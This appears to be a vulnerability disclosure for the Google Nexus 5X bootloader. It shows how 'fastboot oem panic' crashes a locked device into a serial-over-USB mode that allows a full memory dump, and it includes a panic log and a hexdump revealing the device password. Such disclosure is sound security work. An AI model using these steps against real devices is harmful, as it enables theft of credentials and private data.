Google Nexus 5X Bootloader Unauthorized Memory Dumping via USB

A vulnerability in Nexus 5X’s bootloader allows an attacker to obtain a full memory dump of the device. The vulnerability can be exploited by either physical attackers, or by non-physical ones having ADB (Android Debug Bridge) access to the device. One possible scenario where a non-physical attacker can have ADB access is by first targeting an ADB-authorized developer’s PC and infecting it with malware. Another way is by using malicious chargers targeting ADB-enabled devices. Using such chargers requires the (naïve) victim to authorize the charger once connected The attacker reboots the phone into the well-known fastboot mode, which can be done without any authentication. A physical attacker can do this by pressing the ‘Volume Down’ button during device boot. An attacker with ADB access can do this by issuing the adb reboot bootloader command. The fastboot mode exposes a USB interface, which on locked devices must not allow any security sensitive operation to be commanded. However, what discovered was that if the attacker issued (via the fastboot USB interface) the fastboot oem panic command, the bootloader would be forced to crash:

[38870] fastboot: oem panic
[38870] panic (frame 0xf9b1768):
[38870] r0  0x0f9972c4 r1  0x4e225c22 r2  0x7541206f r3  0x74206874
[38870] r4  0x0f9972e8 r5  0x0f96715c r6  0x0f9972f0 r7  0x0f9670ec
[38870] r8  0x0f92e070 r9  0x00000000 r10 0x00000000 r11 0x00000000
[38870] r12 0x0f92e070 usp 0x0f9650ec ulr 0x00000000 pc  0x0f99c75c
[38870] spsr 0x0f936964
[38870]  fiq r13 0x0f989490 r14 0x00000000
[38870]  irq r13 0x0f989490 r14 0x0f9004f4
[38870]  svc r13 0x0f9b16f0 r14 0x0f92dd0c
[38870]  und r13 0x0f989490 r14 0x00000000
[38870]  sys r13 0x00000000 r14 0x00000000
[38880] panic (caller 0xf936964): generate test-panic

The problem is that in the vulnerable versions of the bootloader, such a crash caused the bootloader to expose a serial-over-USB connection, which allowed fetching a full memory dump of the device, using tools such as QPST Configuration.

To illustrate the severity of the attack, as the victim, I set the device password to buggybootload3r and then searched it in the memory dump:

> hexdump DDRCS0_0.BIN | grep -10 bootloa
...
2675d060: 6f 00 69 00 64 00 2e 00 – 73 00 65 00 72 00 76 00 o.i.d… s.e.r.v.
2675d070: 69 00 63 00 65 00 2e 00 – 67 00 61 00 74 00 65 00 i.c.e… g.a.t.e.
2675d080: 6b 00 65 00 65 00 70 00 – 65 00 72 00 2e 00 49 00 k.e.e.p. e.r…I.
2675d090: 47 00 61 00 74 00 65 00 – 4b 00 65 00 65 00 70 00 G.a.t.e. K.e.e.p.
2675d0a0: 65 00 72 00 53 00 65 00 – 72 00 76 00 69 00 63 00 e.r.S.e. r.v.i.c.
2675d0b0: 65 00 00 00 00 00 00 00 – 3a 00 00 00 00 0d c4 b6 e……. ……..
2675d0c0: 6d 42 cd 0a b1 00 00 00 – 00 00 00 00 00 00 00 00 mB…… ……..
2675d0d0: 00 00 00 00 00 92 86 33 – e3 79 92 8b b7 d4 77 f5 …….3 .y….w.
2675d0e0: 94 7f d0 2b fb b8 6e cc – 98 3b 9a a7 0d 7c 60 f6 ……n. ……..
2675d0f0: d7 70 68 c2 14 01 00 00 – 0f 00 00 00 62 75 67 67 .ph….. ….bugg
2675d100: 79 62 6f 6f 74 6c 6f 61 – 64 33 72 00 62 75 67 67 ybootloa d3r.bugg
...

As one can see, the password can be found on the fetched memory dump. Physical attackers can then successfully boot the platform, which further allows them to impersonate the user, access data stored on the device and more.